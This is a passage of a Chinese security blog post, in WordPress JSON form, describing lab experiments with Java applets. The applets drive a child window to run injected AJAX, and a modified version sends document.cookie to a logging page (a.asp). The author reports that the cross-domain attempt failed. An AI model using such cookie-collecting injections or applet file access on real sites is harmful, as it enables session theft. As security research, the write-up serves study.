&ldquo;\u6765\u81ea192.168.0.3\u7684\u9875\u9762\u8bf4\uff1a&rdquo;\u3002\u731c\u6d4b\u8fd9\u4e2a\u95ee\u9898\u6709\u4e24\u79cd\u53ef\u80fd\uff1a<\/p>\n<p>\u3000\u30001\u3001\u5b50\u7a97\u53e3\uff08http:\/\/192.168.0.2\/php.php\uff09\u4ecd\u7136\u8ba4\u4e3a\u81ea\u5df1\u5c5e\u4e8e\u7236\u7a97\u4f53\u7684\u57df\uff08192.168.0.3\uff09\u3002<\/p>\n<p>\u3000\u30002\u3001\u8fd9\u4e2a\u6846\uff08JS\uff09\u6839\u672c\u5c31\u662f\u7531\u7236\u7a97\u4f53\u8c03\u51fa\u6765\u7684\u3002<\/p>\n<p>\u3000\u3000\u4e3a\u4e86\u8bc1\u660e\u57df\u7684\u95ee\u9898\uff0c\u6211\u5199\u4e86\u6bb5JS\u6765\u5224\u65ad\uff0c\u5728\u5b50\u7a97\u4f53\u7684\u9875\u9762\u4e2d\uff0c\u5199\u6bb5AJAX\uff0c\u8ba9\u4ed6\u53bb\u7ed9\u7236\u7a97\u4f53\u9001\u70b9\u4e1c\u897f\u3002\u5982\u679c\u540c\u4e00\u4e2a\u57df\uff0c\u5c31\u80fd\u62ff\uff0c\u5982\u679c\u4e0d\u540c\u57df\u4f1a\u62d2\u7edd\u8bbf\u95ee\u3002<\/p>\n<p>\u3000\u3000\u51e0\u7ecf\u6d4b\u8bd5\uff0c\u5199\u51fa\u4e86\u53ef\u4ee5\u901a\u8fc7\u7684\u4ee3\u7801\uff1a<\/p>\n<div class=\"codeText\">\n<div class=\"codeHead\">Java\u4ee3\u7801<\/div>\n<ol class=\"dp-j\">\n<li class=\"alt\"><span><span class=\"keyword\">public<\/span><span>&nbsp;<\/span><span class=\"keyword\">class<\/span><span>&nbsp;writeFile&nbsp;<\/span><span class=\"keyword\">extends<\/span><span>&nbsp;Applet&nbsp;{&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class=\"keyword\">public<\/span><span>&nbsp;<\/span><span class=\"keyword\">void<\/span><span>&nbsp;start()&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"alt\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;<\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class=\"keyword\">try<\/span><span>&nbsp;{&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"alt\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class=\"keyword\">this<\/span><span>.getAppletContext().showDocument(<\/span><span class=\"keyword\">new<\/span><span>&nbsp;URL(<\/span><span class=\"string\">&quot;http:\/\/192.168.0.2\/php.php&quot;<\/span><span>),<\/span><span class=\"string\">&quot;kxlzx&quot;<\/span><span>);&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class=\"keyword\">this<\/span><span>.getAppletContext().showDocument(<\/span><span class=\"keyword\">new<\/span><span>&nbsp;URL(<\/span><span class=\"string\">&quot;javascript:xmlHttp&nbsp;=&nbsp;new&nbsp;XMLHttpRequest();xmlHttp.onreadystatechange&nbsp;=&nbsp;function&nbsp;handleStateChange(){if&nbsp;(xmlHttp.readyState&nbsp;==&nbsp;4&nbsp;){if&nbsp;(xmlHttp.status&nbsp;==&nbsp;200&nbsp;)alert(xmlHttp.responseText);}};xmlHttp.open(\\&quot;GET\\&quot;,&nbsp;\\&quot;http:\/\/\\&quot;+document.domain+\\&quot;\/test\/a.asp?context=ddd\\&quot;,&nbsp;true);&nbsp;xmlHttp.send(null);&quot;<\/span><span>),<\/span><span class=\"string\">&quot;kxlzx&quot;<\/span><span>);&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"alt\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span class=\"keyword\">catch<\/span><span>&nbsp;(Exception&nbsp;e)&nbsp;{&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;<\/span><\/li>\n<li class=\"alt\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;<\/span><\/li>\n<li class=\"\"><span>}&nbsp;&nbsp;<\/span><\/li>\n<\/ol>\n<\/div>\n<p>&nbsp;<\/p>\n<p>\u3000\u3000\u8bf7\u6ce8\u610f\u53d8\u7ea2\u7684\u5730\u65b9\uff01\u4ee3\u7801\u4f1a\u5148\u63a7\u5236\u5b50\u7a97\u4f53\u6253\u5f00\u9875\u9762\uff0c\u7136\u540e\u63a7\u5236\u5b50\u7a97\u4f53\u6267\u884c\u4e00\u6bb5ajax\u4ee3\u7801\u8bbf\u95eea.asp\u3002a.asp\u6587\u4ef6\u7684\u4f5c\u7528\u662f\u63a5\u6536 context\u53d8\u91cf\uff0c\u7136\u540e\u628a\u5b83\u7684\u503c\u4fdd\u5b58\u5728\u672c\u5730\u4e00\u4e2akxlzx.txt\u7684\u6587\u4ef6\u91cc\u3002\u4ecekxlzx.txt\u6587\u4ef6\u5185\u5bb9\u6765\u770b\uff0c\u6267\u884c\u6210\u529f\u4e86\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u8fd9\u6bb5ajax\u6210\u529f\u7684\u8bbf\u95ee\u4e86\u4f4d\u4e8e192.168.0.3\u4e0a\u7684\u6587\u4ef6a.asp\uff0c\u5e76\u63d0\u4ea4\u4e86\u53c2\u6570\u3002<\/p>\n<p>\u3000\u3000\u8fd9\u65f6\u7684\u6211\u975e\u5e38\u5174\u594b\uff01\u8de8\u57df&ldquo;0day&rdquo;\uff1f\uff01\uff01\u522b\u9ad8\u5174\u7684\u592a\u65e9\uff0c\u8fd8\u6709\u79cd\u53ef\u80fd\u5c31\u662f\u7236\u7a97\u53e3\u6267\u884c\u4e86ajax\u3002\u4e3a\u4e86\u8fdb\u4e00\u6b65\u6269\u5927\u6218\u679c\u548c\u5206\u8fa8\u7236\u5b50\u7a97\u4f53\uff0c\u6211\u7acb\u523b\u4fee\u6539js\uff0c\u8ba9\u4ed6\u628acookie\u4f20\u8fc7\u53bb\uff0c\u4fee\u6539\u4ee3\u7801\u4e2d\u4f20\u9012\u53c2\u6570\u7684\u503c\u4e3a &ldquo;a.asp?context=aa&#8217;+document.cookie+document.getElementById(&lsquo;who&rsquo;)&rdquo;\u3002\u7136\u540e\u4fee\u6539\u5b50\u7a97\u4f53\u8bbf\u95ee\u7684php.php\uff1a<\/p>\n<div class=\"codeText\">\n<div class=\"codeHead\">PHP\u4ee3\u7801<\/div>\n<ol class=\"dp-c\">\n<li class=\"alt\"><span><span>&lt;script&gt;&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.cookie=<span class=\"string\">&#8216;password:kxlzx&#8217;<\/span><span>;&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"alt\"><span>&lt;\/script&gt;&nbsp;&nbsp;<\/span><\/li>\n<li class=\"\"><span>&lt;input&nbsp;id=<span class=\"string\">&quot;who&quot;<\/span><span>&nbsp;value=<\/span><span class=\"string\">&quot;php.php&quot;<\/span><span>&gt;&nbsp;&nbsp;<\/span><\/span><\/li>\n<\/ol>\n<\/div>\n<p>\u3000\u3000\u518d\u4fee\u6539\u7236\u7a97\u4f53\u8bbf\u95ee\u7684\u9875\u9762(\u52a0\u8f7dapplet\u7684\u9875\u9762test2.htm)\uff1a<\/p>\n<div class=\"codeText\">\n<div class=\"codeHead\">XML\/HTML\u4ee3\u7801<\/div>\n<ol class=\"dp-xml\">\n<li class=\"alt\"><span><span class=\"tag\">&lt;<\/span><span class=\"tag-name\">script<\/span><span class=\"tag\">&gt;<\/span><span>&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class=\"attribute\">document.cookie<\/span><span>=<\/span><span class=\"attribute-value\">&#8216;yumen&hellip;&#8217;<\/span><span>;&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"alt\"><span><span class=\"tag\">&lt;\/<\/span><span class=\"tag-name\">script<\/span><span class=\"tag\">&gt;<\/span><span>&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span><span class=\"tag\">&lt;<\/span><span class=\"tag-name\">input<\/span><span>&nbsp;<\/span><span class=\"attribute\">id<\/span><span>=<\/span><span class=\"attribute-value\">&quot;who&quot;<\/span><span>&nbsp;<\/span><span class=\"attribute\">value<\/span><span>=<\/span><span class=\"attribute-value\">&quot;test2.htm&quot;<\/span><span class=\"tag\">&gt;<\/span><span>&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"alt\"><span><span class=\"tag\">&lt;<\/span><span class=\"tag-name\">applet<\/span><span>&nbsp;<\/span><span class=\"attribute\">code<\/span><span>=<\/span><span class=\"attribute-value\">&quot;writeFile.class&quot;<\/span><span>&nbsp;<\/span><span class=\"attribute\">width<\/span><span>=<\/span><span class=\"attribute-value\">&quot;300&quot;<\/span><span>&nbsp;<\/span><span class=\"attribute\">height<\/span><span>=<\/span><span class=\"attribute-value\">&quot;200&quot;<\/span><span class=\"tag\">&gt;<\/span><span>&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;\u4e0d\u652f\u6301java\u865a\u62df\u673a&nbsp;&nbsp;<\/span><\/li>\n<li class=\"alt\"><span><span class=\"tag\">&lt;\/<\/span><span class=\"tag-name\">applet<\/span><span class=\"tag\">&gt;<\/span><span>&nbsp;&nbsp;<\/span><\/span><\/li>\n<\/ol>\n<\/div>\n<p>&nbsp;<\/p>\n<p>\u3000\u3000\u8fd9\u4e24\u6bb5\u6709\u4ec0\u4e48\u7528\u5462\uff1f\u9996\u5148\u662fcookie\u95ee\u9898\uff0c\u5982\u679c\u5355\u7eaf\u9760\u4e24\u4e2a\u9875\u7684cookie\u5224\u65ad\uff0c\u53ef\u80fd\u8fbe\u4e0d\u5230\u6548\u679c\uff0c\u522b\u5fd8\u4e86\u4ed6\u4eec\u7684\u57df\u662f\u4e00\u6837\u7684\uff0c\u5f88\u53ef\u80fd\u4e24\u4e2a\u9875\u9762cookie\u90fd\u662ftest2.htm\u7684cookie\u3002\u4f46\u662f\u518d\u52a0\u4e2ainput\u5c31\u4e0d\u4e00\u6837\u4e86\uff0cinput\u7684\u503c\u53ef\u4e0d\u4f1a\u56e0\u4e3a\u57df\u800c\u6539\u53d8\u3002<\/p>\n<p>\u3000\u3000\u8fd9\u6837\uff0c\u4e0d\u540c\u7684\u9875\u9762\u6240\u8c03\u7528ajax\u7684\u7ed3\u679c\u5c31\u6709\u6240\u533a\u522b\u3002\u6d4b\u8bd5\u7ed3\u679c\u5f88\u8be1\u5f02\uff0c\u6211\u5728kxlzx.txt\u4e2d\u53ea\u627e\u5230\u4e86test2.htm\u7684cookie\uff0c\u6ca1\u6709\u540e\u9762\u7d27\u8ddf\u7684input\u7684\u503c\u3002\u4e24\u4e2a\u9875\u9762\u90fd\u6709input\uff0c\u600e\u4e48\u4f1a\u62ff\u4e0d\u5230\u503c\uff1f\u6253\u5f00ff\u7684\u9519\u8bef\u63a7\u5236\u53f0\uff0c\u770b\u5230\u4e86\u5982\u4e0b\u9519\u8bef\uff1a<\/p>\n<p><a href=\"\/wp-content\/uploads\/date_200808\/0bd2943585dd570a4dc517534d2307dd.jpg\" target=\"_blank\"><img decoding=\"async\" src=\"\/wp-content\/uploads\/date_200808\/0bd2943585dd570a4dc517534d2307dd.jpg\" alt=\"4.jpg\"  class=\"alignnone size-full wp-image-122\" \/><\/a><\/p>\n<p>\u3000\u3000\u6267\u884c\u8fd9\u6bb5js\u7684\u9875\u9762\u6839\u672c\u5c31\u6ca1\u6709\u8fd9\u4e2ainput\uff01\u4e24\u79cd\u89e3\u91ca\uff1a<\/p>\n<p>\u3000\u30001\u3001\u8fd8\u6709\u4e2a\u9875\u9762\u5077\u5077\u6267\u884c\u4e86\u8fd9\u6bb5ajax\uff0c\u7136\u540e\u6d88\u5931\u7684\u65e0\u5f71\u65e0\u8e2a\u3002<\/p>\n<p>\u3000\u30002\u3001\u8fd9\u6bb5JS\u5728\u7b2c\u4e8c\u4e2a\u9875\u9762\uff08\u5b50\u7a97\u4f53\uff09\u4e2d\u6267\u884c\uff0c\u4f46\u662f\u6267\u884c\u7684\u65f6\u5019\u5b50\u7a97\u4f53\u8fd8\u6ca1\u6709\u8bbf\u95eephp.php\u3002<\/p>\n<p>\u3000\u3000\u81f3\u5c11\u4e0d\u53ef\u80fd\u662ftest2.htm\u6267\u884c\u4e86js\uff0c\u5982\u679c\u4ed6\u6267\u884cjs\uff0c\u4e00\u5b9a\u80fd\u62ff\u5230&ldquo;who&rdquo;\u7684\u503c\uff0cinput\u5728applet\u4e4b\u524d\u5c31\u52a0\u8f7d\u4e86\u3002\u65e0\u8bba\u662f\u54ea\u79cd\u53ef\u80fd\uff0c\u8de8\u57df 0day\u68a6\uff0c\u5ba3\u544a\u7ed3\u675f\u3002\u7236\u7a97\u4f53\u4e0d\u80fd\u8ba9\u5b50\u7a97\u4f53\u6267\u884c\u811a\u672c\uff0c\u53ea\u80fd\u8ba9\u4ed6\u8bbf\u95ee\u4e00\u4e9b\u9875\u9762\u3002\u597d\u5427\uff0c\u4f60\u72e0\uff01\u4e0d\u8fc7\uff0c\u6211\u4eec\u56de\u5230\u4e00\u4e2a\u8bdd\u9898\u6765\uff1a&ldquo;\u4e3a\u4ec0\u4e48\u8981\u8ba9\u5b50\u7a97\u4f53\u6267\u884c\u811a\u672c\uff1f&rdquo;\uff0c\u5f88\u663e\u7136\uff0c\u6211\u4eec\u60f3\u8981\u5b50\u7a97\u4f53\u7684cookie\u3002<\/p>\n<p>\u3000\u3000\u6574\u7406\u601d\u8def\uff1a<br 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Srinivas<br \/>\n\u300aApplet Security\u300b&nbsp;SUN\u5b98\u65b9<br \/>\n\u300aJava 2 Applet Security\u300b&nbsp;Abdul Habra, 2.7.2000<br \/>\n\u300aJDK\u5e2e\u52a9\u300b<\/p>\n<p>\u3000\u3000\u9644\u4ef6\u8bf4\u660e\uff1a<br \/>\na.asp&nbsp;&#8212;&#8212;-&nbsp;&nbsp;&nbsp; \u63a5\u6536\u53d8\u91cf\uff0c\u4fdd\u5b58\u5185\u5bb9\u4e3akxlzx.txt\u7684\u9875\u9762<br \/>\nApplet_ODBC.java&nbsp;&nbsp;&#8212;&#8212;&#8211;&nbsp;\u4f7f\u7528applet\u94fe\u63a5access\u6570\u636e\u5e93\u7684\u4ee3\u7801<br \/>\nApplet_Control_Open.java&nbsp;&#8212;&#8212;&#8211;&nbsp;\u7236\u7a97\u4f53\u63a7\u5236\u5b50\u7a97\u4f53\u5230\u5904\u8bbf\u95ee\u7684\u4ee3\u7801<br \/>\nOday.java&nbsp;&#8212;&#8212;&#8212;-&nbsp;&nbsp;\u7b2c\u4e00\u90e8\u5206\u63d0\u5230\u76840day<br \/>\nReadFile.java&nbsp;&nbsp;&#8212;&#8212;&#8211;&nbsp;&nbsp;applet\u8bfb\u6587\u4ef6<br \/>\nwriteFile.java&nbsp;&nbsp;&#8212;&#8212;&#8212;&nbsp;&nbsp;applet\u5199\u6587\u4ef6<br \/>\nXss.java&nbsp;&nbsp;&#8212;&#8211;&nbsp;&nbsp;\u63a7\u5236\u5b50\u7a97\u53e3\u5f39cookie<br \/>\ntest2.htm&nbsp;&nbsp;&#8212;&#8212;&nbsp;&nbsp;\u6587\u4e2d\u63d0\u5230\u7684\u52a0\u8f7dapplet\u9875\u9762<br \/>\nphp.php&nbsp;&nbsp;&#8212;&#8211;&nbsp;&nbsp;\u6ca1\u6709\u8fd9\u4e2a\u6587\u4ef6\uff0c\u56e0\u4e3a\u5b83\u4ee3\u7801\u6539\u6765\u6539\u53bb\u7684\uff0c\u6587\u4e2d\u627e\u5427\u3002<\/p>\n<p><span style=\"color: rgb(255, 0, 0);\">\u6587\u4e2d\u63d0\u5230\u7684\u9644\u4ef6\u4e0b\u8f7d\u5730\u5740\uff1a<\/span><\/p>\n<p><span style=\"color: rgb(255, 0, 0);\">[attach=5]<br \/>\n<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3000\u3000<strong>\u3010IT168\u4e13\u7a3f\u3011<\/strong><strong>\u5f15\u8a00<\/strong><\/p>\n<p>\u3000\u3000\u56e0\u4e3a\u4e00\u4e2a0day\uff0c\u8ba9\u4f5c\u8005\u5bf9java applet\u5fc3\u8840\u6765\u6f6e\uff0c\u968f\u7740\u4e0d\u65ad\u7684\u5931\u8d25\uff0c\u53d1\u73b0\u4e86\u4e00\u4e2a\u53c8\u4e00\u4e2a\u5b89\u5168\u7279\u6027\u3002\u672c\u6587\u63d0\u9192\u5927\u5bb6\uff0c\u9664\u4e86activeX\uff0c\u8fd8\u6709\u8fd9\u4e48\u4e00\u79cd\u4e1c\u897f\uff0c\u4e00\u65e6\u51fa\u73b0\u4e86\u5b89\u5168\u9690\u60a3\uff0c\u4e5f\u4f1a\u5e2e\u5927\u5bb6\u505a\u4e9b\u4ec0\u4e48\u3002\u5982\u679c\u4f60\u8981\u627e&ldquo;0DAY&rdquo;\uff0c\u8bf7\u63a0\u8fc7;\u5982\u679c\u4f60\u8981\u627e&ldquo;\u5982\u4f55\u4f7f\u7528APPLET\u4e0b\u8f7d\u6728\u9a6c&rdquo;\uff0c\u8bf7\u770b\u4e0b\u96c6;\u5982\u679c\u4f60\u559c\u6b22\u7814\u7a76&ldquo;applet\u53ef\u80fd\u5b58\u5728\u7684\u5b89\u5168\u9690\u60a3 &rdquo;\uff0c\u8bf7\u4ece\u8fd9\u91cc\u5f00\u59cb\u3002<\/p>\n<p class=\"read-more\"><a href=\"https:\/\/www.inbreak.net\/archives\/122.html\">\u7ee7\u7eed\u9605\u8bfb &raquo;<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[84,5],"tags":[17,15,14,16],"views":6957,"_links":{"self":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/122"}],"collection":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/comments?post=122"}],"version-history":[{"count":1,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/122\/revisions"}],"predecessor-version":[{"id":246,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/122\/revisions\/246"}],"wp:attachment":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/media?parent=122"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/categories?post=122"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/tags?post=122"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}